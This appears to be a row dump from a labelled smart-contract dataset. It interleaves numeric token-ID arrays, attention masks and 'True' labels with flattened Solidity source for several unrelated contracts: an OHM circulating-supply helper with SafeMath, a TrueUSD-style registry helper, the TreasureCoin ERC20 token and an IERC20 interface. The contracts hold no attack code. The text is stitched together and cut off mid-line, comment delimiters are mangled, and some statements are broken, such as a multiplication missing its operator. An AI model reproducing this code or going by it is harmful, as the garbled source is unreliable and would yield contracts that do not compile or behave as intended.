1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 21183, 12146, 1013, 17174, 13102, 18491, 1013, 29464, 11890, 16048, 2629, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 16048, 2629, 3115, 1010, 2004, 4225, 1999, 1996, 1008, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 1012, 28855, 14820, 1012, 8917, 1013, 1041, 11514, 2015, 1013, 1041, 11514, 1011, 13913, 1031, 1041, 11514, 1033, 1012, 1008, 1008, 10408, 2545, 2064, 13520, 2490, 1997, 3206, 19706, 1010, 2029, 2064, 2059, 2022, 1008, 10861, 11998, 2011, 2500, 1006, 1063, 9413, 2278, 16048, 2629, 5403, 9102, 1065, 1007, 1012, 1008, 1008, 2005, 2019, 7375, 1010, 2156, 1063, 9413, 2278, 16048, 2629, 1065, 1012, 1008, 1013, 8278, 29464, 11890, 16048, 2629, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 2995, 2065, 2023, 3206, 22164, 1996, 8278, 4225, 2011, 1008, 1036, 8278, 3593, 1036, 1012, 2156, 1996, 7978, 1008, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 1012, 28855, 14820, 1012, 8917, 1013, 1041, 11514, 2015, 1013, 1041, 11514, 1011, 13913, 1001, 2129, 1011, 19706, 1011, 2024, 1011, 4453, 1031, 1041, 11514, 2930, 1033, 1008, 2000, 4553, 2062, 2055, 2129, 2122, 8909, 2015, 2024, 2580, 1012, 1008, 1008, 2023, 3853, 2655, 2442, 2224, 2625, 2084, 2382, 2199, 3806, 1012, 1008, 1013, 3853, 6753, 18447, 2121, 12172, 1006, 27507, 2549, 8278, 3593, 1007, 6327, 3193, 5651, 1006, 22017, 2140, 1007, 1025, 1065, 1013, 1013, 5371, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 1031, 10373, 5123, 1033, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 29464, 11890, 2581, 17465, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3223, 8278, 1997, 2019, 9413, 2278, 2581, 17465, 24577, 3206, 1012, 1008, 1013, 8278, 29464, 11890, 2581, 17465, 2003, 29464, 11890, 16048, 2629, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 22627, 2043, 1036, 19204, 3593, 1036, 19204, 2003, 4015, 2013, 1036, 2013, 1036, 2000, 1036, 2000, 1036, 1012, 1008, 1013, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 25331, 19204, 3593, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 22627, 2043, 1036, 3954, 1036, 12939, 1036, 4844, 1036, 2000, 6133, 1996, 1036, 19204, 3593, 1036, 19204, 1012, 1008, 1013, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 4844, 1010, 21318, 3372, 17788, 2575, 25331, 19204, 3593, 1007, 1025, 1013, 1008, 1008, 1008, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-04-14 / // SPDX-License-Identifier: AGPL-3.0-or-later\ pragma solidity 0.7.5; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } / * Expects percentage to be trailed by 00, / function percentageAmount( uint256 total_, uint8 percentage_ ) internal pure returns ( uint256 percentAmount_ ) { return div( mul( total_, percentage_ ), 1000 ); } / * Expects percentage to be trailed by 00, / function substractPercentage( uint256 total_, uint8 percentageToSub_ ) internal pure returns ( uint256 result_ ) { return sub( total_, div( mul( total_, percentageToSub_ ), 1000 ) ); } function percentageOfTotal( uint256 part_, uint256 total_ ) internal pure returns ( uint256 percent_ ) { return div( mul(part_, 100) , total_ ); } /* * Taken from Hypersonic https://github.com/M2629/HyperSonic/blob/main/Math.sol * @dev Returns the average of two numbers. The result is rounded towards * zero. / function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } function quadraticPricing( uint256 payment_, uint256 multiplier_ ) internal pure returns (uint256) { return sqrrt( mul( multiplier_, payment_ ) ); } function bondingCurve( uint256 supply_, uint256 multiplier_ ) internal pure returns (uint256) { return mul( multiplier_, supply_ ); } } /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract OHMCirculatingSupplyConrtact { using SafeMath for uint; bool public isInitialized; address public OHM; address public owner; address[] public nonCirculatingOHMAddresses; constructor( address _owner ) { owner = _owner; } function initialize( address _ohm ) external returns ( bool ) { require( msg.sender == owner, "caller is not owner" ); require( isInitialized == false ); OHM = _ohm; isInitialized = true; return true; } function OHMCirculatingSupply() external view returns ( uint ) { uint _totalSupply = IERC20( OHM ).totalSupply(); uint _circulatingSupply = _totalSupply.sub( getNonCirculatingOHM() ); return _circulatingSupply; } function getNonCirculatingOHM() public view returns ( uint ) { uint _nonCirculatingOHM; for( uint i=0; i < nonCirculatingOHMAddresses.length; i = i.add( 1 ) ) { _nonCirculatingOHM = _nonCirculatingOHM.add( IERC20( OHM ).balanceOf( nonCirculatingOHMAddresses[i] ) ); } return _nonCirculatingOHM; } function setNonCirculatingOHMAddresses( address[] calldata _nonCirculatingAddresses ) external returns ( bool ) { require( msg.sender == owner, "Sender is not owner" ); nonCirculatingOHMAddresses = _nonCirculatingAddresses; return true; } function transferOwnership( address _owner ) external returns ( bool ) { require( msg.sender == owner, "Sender is not owner" ); owner = _owner; return true; } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5840, 1011, 2403, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 12943, 24759, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 1032, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1019, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 10236, 7347, 2058, 5024, 3012, 1005, 1055, 20204, 3136, 2007, 2794, 2058, 12314, 1008, 14148, 1012, 1008, 1008, 20204, 3136, 1999, 5024, 3012, 10236, 2006, 2058, 12314, 1012, 2023, 2064, 4089, 2765, 1008, 1999, 12883, 1010, 2138, 28547, 2788, 7868, 2008, 2019, 2058, 12314, 13275, 2019, 1008, 7561, 1010, 2029, 2003, 1996, 3115, 5248, 1999, 2152, 2504, 4730, 4155, 1012, 1008, 1036, 3647, 18900, 2232, 1036, 9239, 2015, 2023, 26406, 2011, 7065, 8743, 2075, 1996, 12598, 2043, 2019, 1008, 3169, 2058, 12314, 2015, 1012, 1008, 1008, 2478, 2023, 3075, 2612, 1997, 1996, 4895, 5403, 18141, 3136, 11027, 2015, 2019, 2972, 1008, 2465, 1997, 12883, 1010, 2061, 2009, 1005, 1055, 6749, 2000, 2224, 2009, 2467, 1012, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 2804, 1997, 2048, 27121, 24028, 1010, 7065, 8743, 2075, 2006, 1008, 2058, 12314, 1012, 1008, 1008, 13637, 2000, 5024, 3012, 1005, 1055, 1036, 1009, 1036, 6872, 1012, 1008, 1008, 5918, 1024, 1008, 1008, 1011, 2804, 3685, 2058, 12314, 1012, 1008, 1013, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1010, 1000, 3647, 18900, 2232, 1024, 2804, 2058, 12314, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 4942, 6494, 7542, 1997, 2048, 27121, 24028, 1010, 7065, 8743, 2075, 2006, 1008, 2058, 12314, 1006, 2043, 1996, 2765, 2003, 4997, 1007, 1012, 1008, 1008, 13637, 2000, 5024, 3012, 1005, 1055, 1036, 1011, 1036, 6872, 1012, 1008, 1008, 5918, 1024, 1008, 1008, 1011, 4942, 6494, 7542, 3685, 2058, 12314, 1012, 1008, 1013, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 4942, 1006, 1037, 1010, 1038, 1010, 1000, 3647, 18900, 2232, 1024, 4942, 6494, 7542, 2058, 12314, 1000, 1007, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 4942, 6494, 7542, 1997, 2048, 27121, 24028, 1010, 7065, 8743, 2075, 2007, 7661, 4471, 2006, 1008, 2058, 12314, 1006, 2043, 1996, 2765, 2003, 4997, 1007, 1012, 1008, 1008, 13637, 2000, 5024, 3012, 1005, 1055, 1036, 1011, 1036, 6872, 1012, 1008, 1008, 5918, 1024, 1008, 1008, 1011, 4942, 6494, 7542, 3685, 2058, 12314, 1012, 1008, 1013, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1010, 5164, 3638, 7561, 7834, 3736, 3351, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 5478, 1006, 1038, 1026, 1027, 1037, 1010, 7561, 7834, 3736, 3351, 1007, 1025, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1011, 1038, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
pragma solidity ^0.4.23; interface Registry{ function hasAttribute(address,bytes32) view returns(bool); } contract RegistryHelper { Registry public registry = Registry(0x0000000000013949f288172bd7e36837bddc7211); bytes32 constant public IS_MINT_RATIFIER = "isTUSDMintRatifier"; bytes32 constant public IS_MINT_PAUSER = "isTUSDMintPausers"; bytes32 public constant HAS_PASSED_KYC_AML = "hasPassedKYC/AML"; bytes32 public constant CAN_BURN = "canBurn"; bytes32 public constant IS_BLACKLISTED = "isBlacklisted"; bytes32 public constant IS_DEPOSIT_ADDRESS = "isDepositAddress"; bytes32 public constant IS_REGISTERED_CONTRACT = "isRegisteredContract"; function check(address addr, bytes32 attributes) view returns (bool){ return registry.hasAttribute(addr, attributes); } function isRatifier(address addr) view returns (bool){ return registry.hasAttribute(addr, IS_MINT_RATIFIER); } function isChecker(address addr) view returns (bool){ return registry.hasAttribute(addr, IS_MINT_PAUSER); } function passedKYC(address addr) view returns (bool){ return registry.hasAttribute(addr, HAS_PASSED_KYC_AML); } function canBurn(address addr) view returns (bool){ return registry.hasAttribute(addr, CAN_BURN); } function isBlacklisted(address addr) view returns (bool){ return registry.hasAttribute(addr, IS_BLACKLISTED); } function isDepositAddress(address addr) view returns (bool){ return registry.hasAttribute(addr, IS_DEPOSIT_ADDRESS); } function isRegisteredContract(address addr) view returns (bool){ return registry.hasAttribute(addr, IS_REGISTERED_CONTRACT); } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2603, 1025, 8278, 15584, 1063, 3853, 2038, 19321, 3089, 8569, 2618, 1006, 4769, 1010, 27507, 16703, 1007, 3193, 5651, 1006, 22017, 2140, 1007, 1025, 1065, 3206, 15584, 16001, 4842, 1063, 15584, 2270, 15584, 1027, 15584, 1006, 1014, 2595, 8889, 8889, 8889, 8889, 8889, 24096, 23499, 26224, 2546, 22407, 2620, 16576, 2475, 2497, 2094, 2581, 2063, 21619, 2620, 24434, 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pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'TreasureCoin' token contract // // Deployed to : 0x169A8886eeDDBd7fC3ba0aaBF1fcBEC150016780 // Symbol : TRC // Name : TreasureCoin // Total supply: 100000000 // Decimals : 18 // // Enjoy. // // (c) by Deniz Yildiz / Nosce . // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 \|\| c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract TreasureCoin is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function TreasureCoin() public { symbol = "TRC"; name = "TreasureCoin"; decimals = 18; _totalSupply = 100000000000000000000000000; balances[0x169A8886eeDDBd7fC3ba0aaBF1fcBEC150016780] = _totalSupply; Transfer(address(0), 0x169A8886eeDDBd7fC3ba0aaBF1fcBEC150016780, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); 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// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) 